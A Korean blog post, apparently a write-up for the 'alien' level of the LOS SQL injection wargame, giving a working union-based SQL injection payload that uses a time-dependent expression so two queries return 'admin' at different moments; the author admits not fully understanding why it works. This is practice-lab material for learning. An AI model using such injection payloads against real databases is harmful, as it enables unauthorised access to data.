본문 바로가기
워게임/LOS

alien (!sleep(1)&&now()%2=1)

by meanjung 2021. 10. 10.

query1, query2가 있다.

query1 결과의 id != admin ->>  sandbox1

query1 결과의 id == admin ->> sandbox2

query2 결과의 id == admin ->> sandbox


?? 쿼리를 계속 변하게 해야한다는 것인가,,,


이해하고 넘어가는 걸로...

 

?no=1 union select concat(lower(hex(10+(!sleep(1)&&now()%2=1))), 0x646d696e)#' union select concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 0x646d696e)# 

  • !sleep(1)&&now()%2=1 현재 시간에 따라 0 혹은 1을 반환한다. -> 왜 인지는 모르겠다...
  • hex(10+0) = A/ hex(10+1) = B
  • lower 후 concat로 0x646d696e("dmin") -> admin or bdmin

 

 

'워게임 > LOS' 카테고리의 다른 글

zombie(quine대신 quine하기)  (0) 2021.10.10
ouroboros(quine sql injection)  (0) 2021.10.09
phantom(서브쿼리)  (0) 2021.10.09
frankenstein(error based sqli)  (0) 2021.10.09
blue_dragon(time based sql injection)  (0) 2021.10.09

댓글